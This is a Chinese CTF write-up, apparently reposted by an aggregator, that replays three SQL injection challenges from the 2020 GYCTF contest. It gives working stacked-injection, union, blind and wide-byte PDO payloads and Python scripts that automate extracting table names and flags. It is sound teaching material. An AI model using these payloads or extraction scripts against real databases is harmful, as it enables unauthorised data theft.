2

i春秋2020新春公益赛 GYCTF有关SQL注入题复现

 2 years ago
source link: https://qwzf.github.io/2020/05/02/i%E6%98%A5%E7%A7%8B2020%E6%96%B0%E6%98%A5%E5%85%AC%E7%9B%8A%E8%B5%9B%20GYCTF%E6%9C%89%E5%85%B3SQL%E6%B3%A8%E5%85%A5%E9%A2%98%E5%A4%8D%E7%8E%B0/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

0x00 前言

最近这段时间参加过一些CTF在线竞赛,做过一些Web题,发现SQL注入漏洞出现的频率可真高!不过在做题中也get到了一些Web新知识,现在通过题目复现的方式总结一下。

0x01 blacklist

考点:堆叠注入+handler代替select
强网杯-随便注改的,但是ban掉了强网杯payload的renamealter
查表

0'; show tables;#
sql复制代码

查字段

0'; show columns from FlagHere;#
sql复制代码

前边查表、查字段和强网杯随便注一样。但查记录(数据)是通过重命名等操作得到flag,但这个题ban掉了renamealter
查询大师傅博客发现:MySQL还有一个handler的可以代替select进行查询

handler相关知识

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

基本语法

HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE
sql复制代码

1.通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
2.通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
3.通过HANDLER tbl_name CLOSE来关闭打开的句柄。

通过索引去查看的话可以按照一定的顺序,获取表中的数据。
4.通过HANDLER tbl_name READ index_name FIRST,获取句柄第一行(索引最小的一行),NEXT获取下一行,PREV获取前一行,LAST获取最后一行(索引最大的一行)。

通过索引列指定一个值,可以指定从哪一行开始。
5.通过HANDLER tbl_name READ index_name = value,指定从哪一行开始,通过NEXT继续浏览。

如果不想浏览一个表的所有行,可以使用where和limit子句。
测试分析
1.不通过索引打开查看表
(1)打开句柄:

handler handler_table open; #打开一张名为handler_table表,无返回结果,声明了一个名为handler_table的句柄
sql复制代码

(2)查看表数据:

handler handler_table read first; #获取句柄的第一行
handler handler_table read next; #获取下一行
sql复制代码

(3)关闭句柄:

handler handler_table close; #关闭打开的句柄
sql复制代码

2.通过索引打开查看表(FIRST,NEXT,PREV,LAST)
通过索引查看的话,可以按照索引的升序,从小到大,查看表信息。
(1)创建索引:

create index handler_index on handler_table(c1);
sql复制代码

(2)打开句柄:

handler handler_table open as p;
sql复制代码

(3)查看表数据:

handler p read handler_index first; #获取句柄第一行
handler p read handler_index next; #获取下一行
handler p read handler_index prev; #获取上一行
handler p read handler_index last; #获取最后一行
sql复制代码

(4)关闭句柄:

handler p close;
sql复制代码

从index为2的地方开始
(1) 打开句柄:

handler handler_table open as p;
sql复制代码

(2) 查看表数据:

handler p read handler_index = (2); #指定从第二行开始
handler p read handler_index next;
handler p read handler_index prev;
handler p read handler_index last;
sql复制代码

(3)关闭句柄:

handler p close;
sql复制代码

参考博客:mysql查询语句-handler
了解完这些,就可以这道题的构造payload了。
payload

0'; handler FlagHere open as qwzf; handler qwzf read first; handler qwzf close;#
sql复制代码

执行即可得到flag

在这里插入图片描述
在这里插入图片描述

0x02 Ezsqli

考点:无information_schema布尔盲注+无列名盲注

做这道题前先预备一下知识:
参考博客:
聊一聊bypass information_schema
无需“in”的SQL盲注
新春战疫公益赛-ezsqli-出题小记
对MYSQL注入相关内容及部分Trick的归类小结

参考大师傅博客后,发现绕过对information_schema的过滤,有以下几种方法:

1、绕过information_schema方法

MySQL5.7的新特性

由于performance_schema过于发杂,所以mysql在5.7版本中新增了sys schemma,基础数据来自于performance_chema和information_schema两个库,本身数据库不存储数据。

1.sys.schema_auto_increment_columns
作用:简单来说就是用来对表自增ID的监控。

# security库
    //该库为sqli-labs自动建立
    emails,referers,uagents,users
sql复制代码
在这里插入图片描述
在这里插入图片描述
2.sys.schema_table_statistics_with_buffer

schema_table_statistics_with_buffer,x$schema_table_statistics_with_buffer
查询表的统计信息,其中还包括InnoDB缓冲池统计信息,默认情况下按照增删改查操作的总表I/O延迟时间

在这里插入图片描述
在这里插入图片描述

sys.x$schema_table_statistics_with_buffer

在这里插入图片描述
在这里插入图片描述

sys.x$ps_schema_table_statistics_io
可忽略table_name=’db’,默认的并非我创建。

sys.x$schema_flattened_keys

当然可能还有,这里就先写这么多。
3.利用innoDB引擎绕过对information_schema的过滤(但是mysql默认是关闭InnoDB存储引擎的)

2、绕过information_schema、join using()注列名和进行无列名注入

1.利用MySQL5.7的新特性获取表名
直接用sqli-labs靶场进行测试
(1)sys.schema_auto_increment_columns

?id=-1' union select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+
sql复制代码
在这里插入图片描述
在这里插入图片描述
(2)sys.schema_table_statistics_with_buffer
?id=-1' union select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+
sql复制代码

(3)sys.x$schema_table_statistics_with_buffer

?id=-1' union select 1,2,group_concat(table_name)from sys.x$schema_table_statistics_with_buffer where table_schema=database()--+
sql复制代码

(4)sys.x$ps_schema_table_statistics_io

?id=-1' union select 1,2,group_concat(table_name)from sys.x$ps_schema_table_statistics_io where table_schema=database()--+
sql复制代码

(5)sys.x$schema_flattened_keys

?id=-1' union select 1,2,group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()--+
sql复制代码

等等
2.join using()注列名

通过系统关键词join可建立两个表之间的内连接。
通过对想要查询列名的表与其自身建议内连接,会由于冗余的原因(相同列名存在),而发生错误。
并且报错信息会存在重复的列名,可以使用 USING 表达式声明内连接(INNER JOIN)条件来避免报错。

#获取第一列的列名
select * from(select * from users a join (select * from users)b)c;
#获取次列及后续列名
select * from(select * from users a join (select * from users)b using(username))c;
select * from(select * from users a join (select * from users)b using(username,password))c
sql复制代码
#获取第一列的列名
?id=-1' union select*from (select * from users as a join users b)c--+
#得id

#获取次列及后续列名
?id=-1' union select*from (select * from users as a join users b using(id))c--+
#得username
?id=-1' union select*from (select * from users as a join users b using(id,username))c--+
#password
sql复制代码

3.无列名盲注获取数据
直接通过select进行盲注。
核心payload:

(select 'admin','admin')>(select * from users limit 1)
sql复制代码

子查询之间也可以直接通过><=来进行判断

学完上边这些后,继续看这道题:
1.测试
fuzz一波,发现:

过滤了and or关键字
过滤了if
不能用information_schema
没有单独过滤union和select, 但是过滤了union select,union某某某select之类
过滤了sys.schema_auto_increment_columns
过滤了join

2 返回V&N
2||1=1 返回Nu1L
2||1=4 返回V&N
2查询的是V&N,如果||后面的表达式为True则返回Nu1L;false则返回V&N。

2.继续测试

2||substr((select 1),1,1)=2
V&N
sql复制代码
2||substr((select 1),1,1)=1
Nu1L
sql复制代码

说明可以进行布尔盲注。
3.绕过information_schema
绕过information_schema可用以下方法:
sys.schema_table_statistics_with_buffersys.x$schema_table_statistics_with_buffersys.x$ps_schema_table_statistics_io等等
4.注出表名
然后写个脚本注出表名:

import requests
import string

strs = string.printable
url = "http://907a8439-ee8f-4e7a-9a97-f2c65389c019.node3.buuoj.cn/index.php"
payload = "2 || ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{0},1))={1}"

if __name__ == "__main__":
    name = ''
    for i in range(1,40):
        char = ''
        for j in strs:
            payloads = payload.format(i,ord(j))
            data={'id':payloads}
            r = requests.post(url=url,data=data)
            if "Nu1L" in r.text:
                name += j
                print(j,end='')
                char = j
                break
        if char=='':
            break
py python复制代码
在这里插入图片描述
在这里插入图片描述
注出两张表:users233333333333333,f1ag_1s_h3r3_hhhhh
5.无列名盲注注出数据
因为join被过滤了,所以无法注出列名(字段名),但可以进行无列名盲注得到数据。
参考一下大师傅脚本,写一个脚本:

在这样的按位比较过程中,因为在里层的for()循环,字典顺序是从ASCII码小到大来枚举并比较的,假设正确值为b,那么字典跑到b的时候b=b不满足payload的大于号,只能继续下一轮循环,c>b此时满足了,题目返回真,出现了Nu1L关键字,这个时候就需要记录flag的值了,但是此时这一位的char是c,而真正的flag的这一位应该是b才对,所以flag += chr(char-1),这就是为什么在存flag时候要往前偏移一位的原因

import requests
url = 'http://907a8439-ee8f-4e7a-9a97-f2c65389c019.node3.buuoj.cn/index.php'

def str2hex(flag):
    res = ''
    for i in flag:
        res += hex(ord(i))
    res = '0x' + res.replace('0x','')
    return res

flag = ''
for i in range(1,60):
    hexchar = ''
    for char in range(32, 126):
        hexchar = str2hex(flag+ chr(char))
        payload = '2||((select 1,{})>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
        #payload = '0^((select 1,{})>(select * from(f1ag_1s_h3r3_hhhhh)))'.format(hexchar)
        data = {'id':payload}
        r = requests.post(url=url,data=data)
        if 'Nu1L' in r.text:
            flag += chr(char-1)
            print(flag)
            break
py python复制代码
在这里插入图片描述
在这里插入图片描述
smi1e师傅的exp中用了取反符号~目的也是判断成立,因为MySQL的比较是按位比的。
脚本进行了hex()操作,因为MySQL遇到hex会自动转成字符串。
(大师傅们太强了,tqqqqqll!!!!)

0x03 easysqli_copy

考点:宽字节+PDO堆叠+编码绕过+时间盲注
相关知识:
PDO场景下的SQL注入探究
从宽字节注入认识PDO的原理和正确使用
打开题目,发现源码

<?php 
    function check($str){
        if(preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|\^|&|database/i',$str,$matches)){
            print_r($matches);
            return 0;
        }else{
            return 1;
        }
    }
    try{
        $db = new PDO('mysql:host=localhost;dbname=pdotest','root','******');
    }catch(Exception $e){
        echo $e->getMessage();
    }
    if(isset($_GET['id'])){
        $id = $_GET['id'];
    }else{
        $test = $db->query("select balabala from table1");
        $res = $test->fetch(PDO::FETCH_ASSOC);
        $id = $res['balabala'];
    }
    if(check($id)){
        $query = "select balabala from table1 where 1=?";
        $db->query("set names gbk");
        $row = $db->prepare($query);
        $row->bindParam(1,$id);
        $row->execute();
    }
php复制代码

发现使用了PDOset names gbk
一般来说PDO预编译是不存在sql注入,但是其中$db->query("set names gbk");就造成了宽字节注入
同时发现一些基本的关键字被过滤了,但可以用char()绕过
参考P3师傅和Y1ng师傅的解题思路即可:

import requests
def str2hex(string):
    c='0x'
    a=''
    for i in string:
        a+=hex(ord(i))
    return c+a.replace('0x','')
url='http://0d7a93644ff54a3886e388d2e2d8ac5d71f9fe37e74247d7.changame.ichunqiu.com/?id='
data='1%df%27;set @a={};prepare test from @a;execute test;'
#预编译语句,set设置变量名@和变化的值;
#prepare预备一个@a语句,并赋予名称test;
#execute执行语句test
payload='select if((ascii(mid((select fllllll4g from table1),{},1))={}),sleep(6),1);'
flag=''
for i in range(1,60):
    for x in range(30,127):
        newpayload=payload.format(str(i),str(x))#i字符串长度;x是字符ascii
        newdata=data.format(str2hex(newpayload))#将sql语句转16进制代入预处理语句
        a=requests.session()
        if(a.get(url+newdata).status_code==404):
            flag+=chr(x)
            break
    print(flag)
py python复制代码

0x04 后记

复现完之后,收获很多。同时不得不慨叹一句:大师傅们ttttttql!!!!我tttttttcl!!!
参考博客:
i春秋2020新春战“疫”网络安全公益赛GYCTF Writeup 第二天
i春秋公益赛 前两天 WEB WriteUp


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 [email protected]

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK